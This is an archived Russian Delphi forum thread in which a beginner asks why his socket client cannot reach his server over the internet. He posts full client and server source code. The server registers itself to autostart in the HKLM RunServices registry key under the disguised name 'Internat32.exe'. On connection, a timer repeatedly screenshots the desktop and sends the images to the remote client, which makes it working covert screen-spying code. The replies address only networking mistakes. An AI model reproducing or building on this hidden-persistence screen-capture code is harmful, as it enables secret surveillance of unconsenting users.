Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2009.01.18;
Скачать: [xml.tar.bz2];

Вниз

TServerSocket и интернет   Найти похожие ветки 

 
Sasha   (2008-12-02 13:27) [0]

Подскажите пожалуйста можно с помощью компонентов TServerSocket и TClientSocket соединять сервер и клиент через интернет, зная IP, где находится сервер?


 
Сергей М. ©   (2008-12-02 13:31) [1]

Можно.


 
Sasha   (2008-12-02 13:36) [2]

А каким образом? Вот мой код:
Клиент
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ScktComp, ExtCtrls, ComCtrls, StdCtrls, jpeg;

type
 TForm1 = class(TForm)
   ClientSocket1: TClientSocket;
   StatusBar1: TStatusBar;
   Label1: TLabel;
   Label2: TLabel;
   Edit1: TEdit;
   Image1: TImage;
   Button1: TButton;
procedure Writing(Text: string);
   procedure FormDestroy(Sender: TObject);
   procedure ClientSocket1Connect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Disconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
   Name: string; // Имя файла
Size: integer; // Размер файла
Receive: boolean; // Режим клиента
MS: TMemoryStream; // Буфер для файла
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
ClientSocket1.Close; // Закрываем сокет
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение установлено";
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
end;
procedure TForm1.Writing(Text: string);
begin
if MS.Size < Size then // Если принято байт меньше размера файла, то...
MS.Write(Text[1], Length(Text)); // Записываем в буфер
// Выводим прогресс закачки файла
StatusBar1.SimpleText := "Принято "+IntToStr(MS.Size)+" из "+IntToStr(Size);
if MS.Size = Size then // Если файл принят, то...
begin
Receive := false; // Переводим клиента в нормальный режим
MS.Position := 0; // Переводим каретку в начало буфера
MS.SaveToFile("1.jpg"); // Сохраняем файл
ClientSocket1.Socket.SendText("end"); // Посылаем команду "end", то есть файл принят
MS.Free; // Убиваем буфер
image1.Picture.LoadFromFile("1.jpg");
StatusBar1.SimpleText := "Файл принят";
deletefile("1.jpg");
end;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
 Socket: TCustomWinSocket); var Rtext: string; // Принятый текст
begin
Rtext := Socket.ReceiveText;
if Receive then // Если клиент в режиме приёма файла, то...
Writing(RText) // Записываем данные в буфер
else // Если клиент не в режиме приёма файла, то...
if Copy(Rtext, 0, Pos("#", Rtext) -1) = "file" then // Если это файл, то...
begin MS := TMemoryStream.Create; // Создаём буфер для файла

Delete(Rtext, 1, Pos("#", Rtext)); // Определяем имя файла

Name := Copy(Rtext, 0, Pos("#", Rtext) -1); // Определяем имя файла
Delete(Rtext, 1, Pos("#", Rtext)); // Определяем размер файла
Size := StrToInt(Copy(Rtext, 0, Pos("#", Rtext) -1)); // Определяем размер файла
Delete(Rtext, 1, Pos("#", Rtext)); // Удаляем последний разделитель
Label1.Caption := "Размер файла: "+IntToStr(Size)+" байт"; // Выводим размер файла
Label2.Caption := "Имя файла: "+Name; // Выводим имя файла
Receive := true; // Переводим сервер в режим приёма файла
Writing(RText); // Записываем данные в буфер
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Open; // Открываем сокет
Receive := false; // Режим клиента - приём команд
end;

end.



Сервер


unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls, ScktComp,JPEG, ComCtrls, ExtCtrls,Registry;

type
 TForm1 = class(TForm)
   Button1: TButton;
   ServerSocket1: TServerSocket;
   StatusBar1: TStatusBar;
   Timer1: TTimer;
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure ServerSocket1ClientRead(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientConnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientDisconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure Timer1Timer(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
   MS: TMemoryStream; // Буфер для файла
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var regIni:TRegIniFile;
begin
regIni:=TRegIniFile.Create("Software");
regini.RootKey:=HKEY_LOCAL_MACHINE;
regini.OpenKey("Software", true);
regini.OpenKey("Microsoft", true);
regini.OpenKey("Windows", true);
regini.OpenKey("CurrentVersion", true);
regini.WriteString("RunServices","Internat32.exe", Application.ExeName);
regini.Free;
ServerSocket1.Open; // Открываем сокет
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Close; // Закрываем сокет
end;

procedure TForm1.Button1Click(Sender: TObject); var
Size: integer; JpegIm: TJpegImage;
bm: TBitMap;
P: ^Byte;
begin
bm := TBitMap.Create;
bm.Width := Screen.Width;
bm.Height := Screen.Height;
BitBlt(bm.Canvas.Handle, 0, 0, bm.Width, bm.Height, GetDC(0), 0, 0, SRCCOPY);
JpegIm := TJpegImage.Create;
JpegIm.Assign(bm);
JpegIm.CompressionQuality := 50;//Качество сжатия, в процентах
JpegIm.Compress;
JpegIm.SaveToFile("1.jpg");
MS := TMemoryStream.Create; // Создаём буфер для файла
MS.LoadFromFile("1.jpg"); // Загружаем файл в буфер
// Посылаем информацию о файл (команда # название # размер)
ServerSocket1.Socket.Connections[0].SendText("file#"+"1.jpg"+"#"+IntToStr(MS.Size)+"#");
MS.Position := 0; // Переводим каретку в начало файла
P := MS.Memory; // Загружаем в переменную "P" файл
Size := ServerSocket1.Socket.Connections[0].SendBuf(P^, MS.Size); // Посылаем файл
bm.Destroy ;JpegIm.Destroy;
deletefile("1.jpg")
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
begin
if Socket.ReceiveText = "end" then // Если клиент принял файл, то...
begin
StatusBar1.SimpleText := "Клиент принял файл";
MS.Free; // Убиваем буфер
end;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
timer1.Enabled:=true;
StatusBar1.SimpleText := "Соединение установлено";
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
Timer1.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Button1.Click;
{if StatusBar1.SimpleText = "Соединение установлено" then button1.Click;
}end;

end.


и при задании адреса немного думает и выдает ошибку, что сервер не найден


 
Сергей М. ©   (2008-12-02 13:43) [3]


> при задании адреса немного думает и выдает ошибку, что сервер
> не найден


Ну значит не найден. Почему бы этому не поверить ?

Я так понял, что ты ничерта не вынес из предудущего обсуждения твоего же вопроса
http://delphimaster.net/view/2-1228125086/

ибо вновь тычешь сюда код с теми же логическими ошибками.

Что в лоб, как говорится, что по лбу)


 
stas ©   (2008-12-02 14:22) [4]

Sasha   (02.12.08 13:27)
У тебя ping с этим IP работает?


 
Slym ©   (2008-12-02 17:03) [5]

скока можно? поиском пользуемся?
http://delphimaster.net/view/2-1228125086/


 
Сергей М. ©   (2008-12-02 18:56) [6]


> Slym


Ну и чего ради, спрашивается, ты пыжился в той ветке ?)
Автор даже медвежьими услугами пользоваться не умеет)



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2009.01.18;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.5 MB
Время: 0.005 c
11-1196645214
Jon
2007-12-03 04:26
2009.01.18
REG_MULTI_SZ


2-1228229287
Marixa
2008-12-02 17:48
2009.01.18
Календарь нв Delphi


1-1206264052
MiHoY
2008-03-23 12:20
2009.01.18
VC DLL + Delphi


2-1228465214
1234567
2008-12-05 11:20
2009.01.18
MessageBox


15-1227066140
ArMellon
2008-11-19 06:42
2009.01.18
Нужен совет...





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский